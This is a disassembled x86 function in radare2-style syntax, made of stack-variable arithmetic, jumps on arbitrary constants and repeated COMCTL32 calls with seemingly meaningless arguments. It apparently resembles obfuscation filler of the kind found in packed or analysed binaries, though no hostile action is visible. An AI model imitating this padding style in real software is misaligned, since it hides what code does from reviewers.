cmp eax, edx
jge 0x40a91e
movsx edx, word [ebp - 0xa44]
mov dword [ebp - 0xb738], edx
cmp dword [ebp - 0xb738], 0x71a
je 0x40a8e3
movsx eax, word [ebp - 0xadc0]
mov dword [ebp - 0xb73c], eax
cmp dword [ebp - 0xb73c], 0
je 0x40a936
movzx ecx, byte [ebp - 0x2421]
mov edx, dword [ebp - 0x8bc0]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x7398]
mov byte [edx], cl
mov eax, dword [ebp - 0xaebc]
push eax
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x6854], eax
mov ecx, dword [ebp - 0x9dd8]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x4730]
movzx ecx, byte [eax]
push ecx
movzx edx, word [ebp - 0x7658]
push edx
movzx eax, byte [ebp - 0x8919]
push eax
movzx ecx, byte [ebp - 0x2421]
push ecx
call fcn.0049fa50
movzx edx, byte [ebp - 0x911]
movzx eax, byte [ebp - 0x8919]
add edx, eax
mov ecx, dword [ebp - 0x6d44]
movzx eax, byte [ecx]
movzx ecx, byte [ebp - 0x2421]
shl eax, cl
cmp edx, eax
jg 0x49e891
movzx edx, word [ebp - 0xb2cc]
movzx ecx, word [ebp - 0x1b5c]
sar edx, cl
mov eax, dword [ebp - 0xd4]
mov word [eax], dx
movsx ecx, word [ebp - 0x194c]
mov dword [ebp - 0xb800], ecx
cmp dword [ebp - 0xb800], 0x53f
je 0x49e848
jmp 0x49e87b
movzx edx, byte [ebp - 0x2421]
mov eax, dword [ebp - 0x9dd8]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x8919], dl
push 0xbe
mov edx, dword [ebp - 0xa46c]
push edx
mov eax, dword [ebp - 0x79c]
push eax
call dword [sym.imp.COMCTL32.dll_DrawInsert]
jmp 0x49e891
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ebp - 0x6bec]
or edx, dword [ecx]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
jmp 0x49e8de
lea ecx, [ebp - 0x79d4]
push ecx
push fcn.0049fa50
mov edx, dword [ebp - 0x5b08]
push edx
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x42d8], eax
mov eax, dword [0x4aab7c]
mov ecx, dword [ebp - 0x4c18]
and ecx, dword [eax]
mov dword [ebp - 0x5814], ecx
mov edx, dword [ebp - 0x484]
movzx eax, byte [edx]
push eax
movzx ecx, word [ebp - 0xa44]
push ecx
call fcn.00401120
add esp, 8
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [edx]
and eax, dword [ebp - 0x941c]
mov dword [ebp - 0x23a8], eax
mov ecx, dword [ebp - 0x23a8]
mov dword [ebp - 0xb804], ecx
cmp dword [ebp - 0xb804], 0x67b7
je 0x49e918
cmp dword [ebp - 0xb804], 0x8944
je 0x49e94e
jmp 0x49e964
mov edx, dword [ebp - 0x3234]
add edx, dword [ebp - 0x2a9c]
mov eax, dword [ebp - 0xae0c]
mov dword [eax], edx
push 0x39
lea ecx, [ebp - 0x7658]
push ecx
push fcn.00401120
mov edx, dword [ebp - 0xaebc]
push edx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x193c], eax
jmp 0x49e964
mov eax, dword [ebp - 0x5020]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4c18]
mov edx, dword [0x4aab7c]
mov dword [edx], ecx
jmp 0x49e9bc
movsx eax, word [ebp - 0xa44]
mov ecx, dword [ebp - 0x739c]
movsx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0xe04]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x194c]
and edx, ecx
cmp eax, edx
jge 0x49e9bc
mov edx, dword [ebp - 0x59dc]
mov eax, dword [ebp - 0x1b60]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x6098], edx
mov eax, dword [ebp - 0x6510]
mov ecx, dword [ebp - 0x7048]
shl eax, cl
mov ecx, dword [ebp - 0x1b60]
mov dword [ecx], eax
movsx edx, word [ebp - 0xadc0]
mov dword [ebp - 0xb808], edx
cmp dword [ebp - 0xb808], 0x22f
je 0x49e9d7
jmp 0x49ea28
movzx eax, word [ebp - 0xb2cc]
movzx ecx, word [ebp - 0x7658]
add eax, ecx
mov edx, dword [ebp - 0x8404]
mov word [edx], ax
push 0xea
push 5
push 0xa1
mov eax, dword [ebp - 0x77c]
push eax
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0x9f1c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
jmp 0x49ea3c
mov edx, dword [ebp - 0x7658]
mov eax, dword [ebp - 0xd4]
mov cx, word [eax]
call section..text
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ebp - 0xcc0]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
push 7
mov ecx, dword [ebp - 0x3888]
push ecx
mov edx, dword [ebp - 0x4768]
push edx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
movzx eax, word [ebp - 0xb2cc]
mov ecx, dword [ebp - 0xd4]
movzx edx, word [ecx]
sub eax, edx
mov word [str._b__ayh], ax
jmp 0x49ea99
mov eax, dword [ebp - 0x8404]
mov dx, word [eax]
mov ecx, dword [ebp - 0xd4]
mov cx, word [ecx]
call section..text
mov edx, dword [ebp - 0x73a8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x6074]
add eax, dword [ecx]
mov edx, dword [ebp - 0x73a8]
mov dword [edx], eax
push 0
mov eax, dword [ebp - 0xd6c]
push eax
mov ecx, dword [ebp - 0xd70]
push ecx
mov edx, dword [ebp - 0x67b0]
push edx
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0x7048], eax
movsx eax, byte [ebp - 0x5f9d]
mov ecx, dword [ebp - 0xb520]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x727d], al
mov edx, dword [ebp - 0x6510]
mov dword [ebp - 0xb80c], edx
cmp dword [ebp - 0xb80c], 0x48a5
je 0x49eb06
jmp 0x49eb68
mov eax, dword [ebp - 0x739c]
movsx edx, word [eax]
movsx ecx, word [0x4ab2bc]
shl edx, cl
mov eax, dword [ebp - 0x739c]
mov word [eax], dx
mov ecx, dword [ebp - 0x739c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xadc0]
or edx, eax
mov word [0x4ab2bc], dx
mov ecx, dword [ebp - 0xaebc]
push ecx
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x8528], eax
movzx edx, word [str._b__ayh]
movzx eax, word [ebp - 0x7658]
add edx, eax
mov ecx, dword [ebp - 0xd4]
mov word [ecx], dx
jmp 0x49eb7e
mov edx, dword [ebp - 0x741c]
mov eax, dword [ebp - 0x5020]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x5814], ecx
push 0x4d
mov edx, dword [ebp - 0x6fec]
push edx
mov eax, dword [ebp - 0x6fec]
push eax
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0x6510]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x6074]
mov dword [eax], edx
push 1
mov ecx, dword [ebp - 0xd6c]
push ecx
mov edx, dword [ebp - 0xd70]
push edx
mov eax, dword [ebp - 0x776c]
push eax
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0x81c], eax
movzx ecx, byte [ebp - 0x2421]
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x8919], cl
movzx edx, word [str._b__ayh]
movzx ecx, word [ebp - 0x7658]
sar edx, cl
mov eax, dword [ebp - 0xd4]
movzx eax, word [eax]
movzx ecx, word [ebp - 0x2c54]
shl eax, cl
cmp edx, eax
jg 0x49ec3d
mov ecx, dword [ebp - 0x6074]
mov edx, dword [ebp - 0xcc0]
or edx, dword [ecx]
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8bc0]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0xb520]
movzx ecx, byte [eax]
push ecx
call fcn.0049f890
add esp, 8
mov edx, dword [ebp - 0x126c]
push edx
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x9af8], eax
mov eax, dword [ebp - 0xae0c]
mov ecx, dword [ebp - 0x73a8]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
movzx ecx, word [ebp - 0x7658]
movzx edx, word [ebp - 0x2c54]
sub ecx, edx
mov eax, dword [ebp - 0xd4]
movzx edx, word [eax]
movzx eax, word [ebp - 0x6c90]
sub edx, eax
cmp ecx, edx
je 0x49ecec
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x8f34]
mov dword [ebp - 0x5814], edx
lea eax, [ebp - 0xb520]
push eax
push fcn.0049f890
mov ecx, dword [ebp - 0x1934]
push ecx
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x8098], eax
mov edx, dword [ebp - 0xae0c]
mov eax, dword [ebp - 0x6894]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x73a8]
mov dword [ecx], eax
mov edx, dword [ebp - 0xcc0]
or edx, dword [ebp - 0x3234]
mov dword [ebp - 0x4e20], edx
jmp 0x49ed45
movsx eax, word [ebp - 0xadc0]
mov ecx, dword [ebp - 0x739c]
movsx edx, word [ecx]
sub eax, edx
movsx ecx, word [ebp - 0x194c]
movsx edx, word [0x4ab2bc]
sub ecx, edx
cmp eax, ecx
je 0x49ed45
mov eax, dword [ebp - 0x6d44]
movzx ecx, byte [eax]
push ecx
movzx edx, byte [ebp - 0x8919]
push edx
mov eax, dword [ebp - 0x8404]
movzx ecx, word [eax]
push ecx
movzx edx, byte [ebp - 0x911]
push edx
mov eax, dword [ebp - 0x8bc0]
movzx ecx, byte [eax]
push ecx
call fcn.0049fa50
jmp 0x49ee12
mov edx, dword [ebp - 0x4c18]
add edx, dword [ebp - 0x9708]
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xa4bc]
cmp edx, ecx
jb 0x49ed6a
jmp 0x49eda6
movzx edx, byte [ebp - 0x4a55]
movzx eax, byte [ebp - 0x2421]
sub edx, eax
movzx ecx, byte [ebp - 0x911]
mov eax, dword [ebp - 0x7398]
movzx eax, byte [eax]
sub ecx, eax
cmp edx, ecx
jle 0x49eda6
mov ecx, dword [ebp - 0xae0c]
mov edx, dword [ebp - 0x2a9c]
or edx, dword [ecx]
mov eax, dword [ebp - 0x6074]
mov dword [eax], edx
movsx ecx, word [ebp - 0x194c]
mov dword [ebp - 0xb810], ecx
cmp dword [ebp - 0xb810], 0x1aa
je 0x49edc1
jmp 0x49ee0d
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x4a55]
sar eax, cl
mov ecx, dword [ebp - 0x32dc]
mov byte [ecx], al
lea edx, [ebp - 0x73a8]
push edx
push fcn.004018d0
mov eax, dword [ebp - 0x3854]
push eax
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x42d8], eax
mov ecx, dword [ebp - 0x9708]
xor ecx, dword [ebp - 0xa4bc]
mov dword [ebp - 0x4c18], ecx
jmp 0x49ee12
call fcn.004018d0
movzx edx, byte [ebp - 0x2421]
push edx
movzx eax, byte [ebp - 0x2421]
push eax
movzx ecx, word [ebp - 0x1b5c]
push ecx
mov edx, dword [ebp - 0x8bc0]
movzx eax, byte [edx]
push eax
movzx ecx, byte [ebp - 0x911]
push ecx
call fcn.0049fa50
jmp 0x49ee59
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [edx]
and eax, dword [ebp - 0x4c18]
mov ecx, dword [ebp - 0x741c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8bc0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x7398]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x4a55], al
mov eax, dword [ebp - 0x5058]
push eax
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x2ec], eax
mov ecx, dword [ebp - 0x6074]
mov edx, dword [ebp - 0x3234]
add edx, dword [ecx]
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x8f34]
mov dword [section..data], edx
jmp 0x49ef15
push 0xe5
lea eax, [ebp - 0x4e20]
push eax
push fcn.0049fde0
mov ecx, dword [ebp - 0x6fec]
push ecx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x42d8], eax
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0xae0c]
mov dword [edx], ecx
push 0x7c
mov eax, dword [ebp - 0xa8f4]
push eax
mov ecx, dword [ebp - 0x5058]
push ecx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov edx, dword [ebp - 0xa4bc]
add edx, dword [ebp - 0x9708]
mov dword [ebp - 0x4c18], edx
lea eax, [ebp - 0x63d8]
push eax
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x6510], eax
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ecx]
mov dword [ebp - 0xb814], edx
cmp dword [ebp - 0xb814], 0x2c52
je 0x49ef44
jmp 0x49ef60
mov eax, dword [ebp - 0x5020]
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
jmp 0x49ef8a
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0x8f34]
xor edx, dword [ecx]
mov dword [ebp - 0x9708], edx
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x4e20]
mov edx, dword [ebp - 0x73a8]
mov dword [edx], ecx
push 0xec
push 0xb
push 0x80
mov eax, dword [ebp - 0xa46c]
push eax
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0x3e94], eax
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x6510]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ecx]
mov dword [ebp - 0xb818], edx
cmp dword [ebp - 0xb818], 0x51d5
je 0x49efda
jmp 0x49f040
movzx eax, byte [ebp - 0x2421]
mov ecx, dword [ebp - 0x7398]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x4a55], al
movsx edx, byte [ebp - 0x5f9d]
movsx eax, byte [ebp - 0x2b89]
or edx, eax
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], dl
push 0x43
lea edx, [ebp - 0x9af8]
push edx
push fcn.00401820
mov eax, dword [ebp - 0x3888]
push eax
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x49d0], eax
mov edx, dword [ebp - 0xcc0]
mov ecx, dword [ebp - 0x4e20]
sar edx, cl
mov dword [ebp - 0x2a9c], edx
jmp 0x49f056
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [ebp - 0x4c18]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5020]
mov ecx, dword [section..data]
add ecx, dword [eax]
mov edx, dword [ebp - 0x6ef4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2421]
sub ecx, edx
mov byte [ebp - 0x4a55], cl
jmp 0x49f0ee
lea eax, [ebp - 0xa118]
push eax
push fcn.0049fde0
mov ecx, dword [ebp - 0x3854]
push ecx
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x8098], eax
mov edx, dword [ebp - 0x1b60]
mov eax, dword [edx]
sub eax, dword [ebp - 0x6894]
mov ecx, dword [ebp - 0x73a8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x32dc]
mov al, byte [edx]
mov byte [ebp - 0xb81c], al
cmp byte [ebp - 0xb81c], 0xd
je 0x49f0d3
jmp 0x49f0da
call fcn.0049fde0
jmp 0x49f0ee
movsx ecx, word [ebp - 0x194c]
or ecx, 0x30c
mov word [ebp - 0xadc0], cx
mov edx, dword [ebp - 0xae0c]
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x1b60]
mov dword [edx], ecx
mov eax, dword [ebp - 0xb520]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x7398]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0xa4bc]
push ecx
call fcn.00401820
mov edx, dword [ebp - 0x7398]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x4a55]
shl eax, cl
mov byte [ebp - 0x2421], al
mov ecx, dword [ebp - 0xa46c]
push ecx
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x79f0], eax
mov edx, dword [ebp - 0x741c]
mov eax, dword [edx]
xor eax, dword [ebp - 0x4c18]
mov ecx, dword [ebp - 0x6ef4]
mov dword [ecx], eax
mov edx, dword [ebp - 0xb520]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x5f9d]
or eax, ecx
mov byte [ebp - 0x727d], al
mov edx, dword [ebp - 0xb520]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2b89]
sar eax, cl
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], al
lea edx, [ebp - 0x1104]
push edx
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x6894], eax
jmp 0x49f1e6
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2421]
and ecx, edx
mov eax, dword [ebp - 0x7398]
mov byte [eax], cl
push 0x82
push 0x5b
push 0xc6
mov ecx, dword [ebp - 0xaebc]
push ecx
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0x1408], eax
mov edx, dword [ebp - 0x1b60]
mov eax, dword [edx]
mov dword [ebp - 0xb820], eax
cmp dword [ebp - 0xb820], 0xd10
je 0x49f2eb
cmp dword [ebp - 0xb820], 0x1f66
je 0x49f215
jmp 0x49f2ff
mov edx, dword [ebp - 0x2a9c]
xor edx, dword [ebp - 0x6510]
mov eax, dword [ebp - 0x1b60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3234]
shl eax, cl
cmp edx, eax
jl 0x49f281
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0x6894]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
push 0x9a
push 0xd1
push 0x4b
mov ecx, dword [ebp - 0x3854]
push ecx
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0x1a20], eax
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [ebp - 0x741c]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [section..data], ecx
mov edx, dword [ebp - 0x99e8]
mov eax, dword [edx]
add eax, dword [ebp - 0xcc0]
mov ecx, dword [ebp - 0x11e0]
mov dword [ecx], eax
push 0xdd
push 0xc7
push 0xec
mov edx, dword [ebp - 0xa8f4]
push edx
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0xa118], eax
movzx eax, byte [ebp - 0x911]
push eax
movzx ecx, byte [ebp - 0x2421]
push ecx
movzx edx, word [ebp - 0x1b5c]
push edx
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
push eax
call fcn.0049fa50
jmp 0x49f2ff
movzx ecx, word [ebp - 0x1b5c]
add ecx, 0xcda
mov word [ebp - 0x1b5c], cx
mov edx, dword [ebp - 0x4c18]
mov dword [ebp - 0xb824], edx
cmp dword [ebp - 0xb824], 0x270d
je 0x49f343
cmp dword [ebp - 0xb824], 0x81f2
je 0x49f325
jmp 0x49f391
movzx eax, byte [ebp - 0x5f9d]
push eax
movzx ecx, byte [ebp - 0x4a55]
push ecx
mov edx, dword [section..data]
push edx
call fcn.00401820
jmp 0x49f391
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x5f9d]
and ecx, edx
mov eax, dword [ebp - 0xb520]
mov byte [eax], cl
lea ecx, [ebp - 0x7398]
push ecx
push fcn.0049f890
mov edx, dword [ebp - 0x3888]
push edx
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x2648], eax
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x6510], edx
lea eax, [ebp - 0x91f8]
push eax
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x6510], eax
jmp 0x49f4a7
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ecx]
mov dword [ebp - 0xb828], edx
cmp dword [ebp - 0xb828], 0x1c5e
je 0x49f491
cmp dword [ebp - 0xb828], 0x2606
je 0x49f3d8
jmp 0x49f4a7
push 0x4a
mov eax, dword [ebp - 0x5058]
push eax
mov ecx, dword [ebp - 0xaebc]
push ecx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov edx, dword [ebp - 0x11e0]
mov eax, dword [ebp - 0x81c]
sub eax, dword [edx]
mov dword [ebp - 0x6894], eax
mov ecx, dword [ebp - 0xb520]
mov dl, byte [ecx]
mov byte [ebp - 0xb82c], dl
cmp byte [ebp - 0xb82c], 0x18
je 0x49f424
cmp byte [ebp - 0xb82c], 0x4c
je 0x49f479
jmp 0x49f48f
mov eax, dword [ebp - 0x5020]
mov ecx, dword [ebp - 0x741c]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x6ef4]
mov dword [eax], edx
push 0xb9
lea ecx, [ebp - 0x194c]
push ecx
push fcn.004018d0
mov edx, dword [ebp - 0x4768]
push edx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x2648], eax
movzx eax, byte [ebp - 0x2421]
movzx ecx, byte [ebp - 0x911]
sar eax, cl
mov ecx, dword [ebp - 0x32dc]
mov byte [ecx], al
jmp 0x49f48f
mov edx, dword [ebp - 0x741c]
mov eax, dword [ebp - 0xa4bc]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x4c18], eax
jmp 0x49f4a7
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ecx]
or edx, dword [ebp - 0xcc0]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
lea ecx, [ebp - 0x3b7c]
push ecx
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x6510], eax
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x4a55]
sub eax, ecx
mov byte [ebp - 0x911], al
mov edx, dword [ebp - 0xa4bc]
sub edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4c18]
sub ecx, dword [section..data]
mov dword [ebp - 0xa4bc], ecx
mov edx, dword [ebp - 0x32dc]
mov al, byte [edx]
mov byte [ebp - 0xb830], al
cmp byte [ebp - 0xb830], 0x5d
je 0x49f534
cmp byte [ebp - 0xb830], 0x8a
je 0x49f51a
jmp 0x49f547
movsx ecx, byte [ebp - 0x5f9d]
movsx edx, byte [ebp - 0x2b89]
or ecx, edx
mov eax, dword [ebp - 0xb520]
mov byte [eax], cl
jmp 0x49f547
mov ecx, dword [ebp - 0xaebc]
push ecx
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x9af8], eax
movzx edx, byte [ebp - 0x4a55]
push edx
mov eax, dword [ebp - 0xb520]
movzx ecx, byte [eax]
push ecx
call fcn.0049f890
add esp, 8
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ebp - 0x1b60]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x11e0]
mov dword [edx], ecx
mov al, byte [ebp - 0x911]
mov byte [ebp - 0xb834], al
cmp byte [ebp - 0xb834], 0x6f
je 0x49f590
jmp 0x49f5da
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ecx]
mov dword [ebp - 0x6894], edx
push 0x7a
lea eax, [ebp - 0x6894]
push eax
push fcn.00401120
mov ecx, dword [ebp - 0x776c]
push ecx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x79f0], eax
mov edx, dword [ebp - 0xb520]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x727d]
add eax, ecx
mov edx, dword [ebp - 0xb520]
mov byte [edx], al
jmp 0x49f5ed
movzx eax, word [ebp - 0x1b5c]
sub eax, 0x7fa
mov word [ebp - 0x1b5c], ax
mov ecx, dword [ebp - 0xcc0]
or ecx, dword [ebp - 0x81c]
mov edx, dword [ebp - 0x11e0]
mov dword [edx], ecx
movsx eax, word [ebp - 0xadc0]
mov dword [ebp - 0xb838], eax
cmp dword [ebp - 0xb838], 0x408
je 0x49f61c
jmp 0x49f67a
push 0
mov ecx, dword [ebp - 0x1b9c]
push ecx
mov edx, dword [ebp - 0x1ba0]
push edx
mov eax, dword [ebp - 0x776c]
push eax
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0x81c], eax
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
and edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
push 0xb3
lea ecx, [ebp - 0x4e20]
push ecx
push fcn.00401120
mov edx, dword [ebp - 0x3854]
push edx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x9b0], eax
jmp 0x49f68e
mov eax, dword [ebp - 0x5020]
mov ecx, dword [eax]
add ecx, dword [section..data]
mov dword [ebp - 0x4c18], ecx
jmp 0x49f737
mov edx, dword [ebp - 0x99e8]
mov eax, dword [edx]
add eax, dword [ebp - 0xcc0]
mov ecx, dword [ebp - 0x99e8]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x4a55]
cmp edx, 0x2a
jg 0x49f6b7
jmp 0x49f6c8
movsx eax, word [ebp - 0xadc0]
shl eax, 5
mov word [ebp - 0xadc0], ax
mov ecx, dword [ebp - 0x4c18]
mov dword [ebp - 0xb83c], ecx
cmp dword [ebp - 0xb83c], 0x2cbb
je 0x49f6e2
jmp 0x49f71b
push 1
mov edx, dword [ebp - 0x4a98]
push edx
mov eax, dword [ebp - 0x4a9c]
push eax
mov ecx, dword [ebp - 0x776c]
push ecx
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0x81c], eax
mov edx, dword [ebp - 0x11e0]
mov eax, dword [edx]
add eax, dword [ebp - 0x4e20]
mov ecx, dword [ebp - 0x99e8]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x727d]
push edx
movzx eax, byte [ebp - 0x4a55]
push eax
mov ecx, dword [ebp - 0x4c18]
push ecx
call fcn.00401820
mov edx, dword [ebp - 0xb520]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x727d]
sub eax, ecx
mov edx, dword [ebp - 0xb520]
mov byte [edx], al
lea eax, [ebp - 0x91f8]
push eax
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x6894], eax
movzx ecx, byte [ebp - 0x4a55]
and ecx, 0xa5
mov byte [ebp - 0x4a55], cl
jmp 0x49f803
mov edx, dword [ebp - 0x99e8]
mov eax, dword [edx]
add eax, dword [ebp - 0x4e20]
mov ecx, dword [ebp - 0x11e0]
mov dword [ecx], eax
mov dl, byte [ebp - 0x727d]
mov byte [ebp - 0xb840], dl
cmp byte [ebp - 0xb840], 4
je 0x49f7a9
jmp 0x49f7ed
push 0x61
mov eax, dword [ebp - 0x776c]
push eax
mov ecx, dword [ebp - 0xaebc]
push ecx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
movzx edx, word [ebp - 0x1b5c]
sub edx, 0x9b
mov word [ebp - 0x1b5c], dx
movzx eax, byte [ebp - 0x727d]
push eax
movzx ecx, word [ebp - 0xadc0]
push ecx
call fcn.00401120
add esp, 8
jmp 0x49f803
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
add eax, dword [ebp - 0x4c18]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
call fcn.0049fde0
mov edx, dword [ebp - 0xb520]
movsx eax, byte [edx]
xor eax, 0x3b
mov byte [ebp - 0x727d], al
jmp 0x49f85c
movzx ecx, byte [ebp - 0x4a55]
add ecx, 0xdd
cmp ecx, 0x8f
jg 0x49f85c
movzx edx, byte [ebp - 0x4a55]
and edx, 0xd1
mov byte [ebp - 0x4a55], dl
movzx eax, byte [ebp - 0x4a55]
push eax
movzx ecx, byte [ebp - 0x727d]
push ecx
call fcn.0049f890
add esp, 8
movzx edx, byte [ebp - 0x4a55]
push edx
movzx eax, byte [ebp - 0x727d]
push eax
call fcn.0049f890
add esp, 8
mov eax, dword [ebp - 0x191c]
pop esi
mov esp, ebp
pop ebp
ret 0x10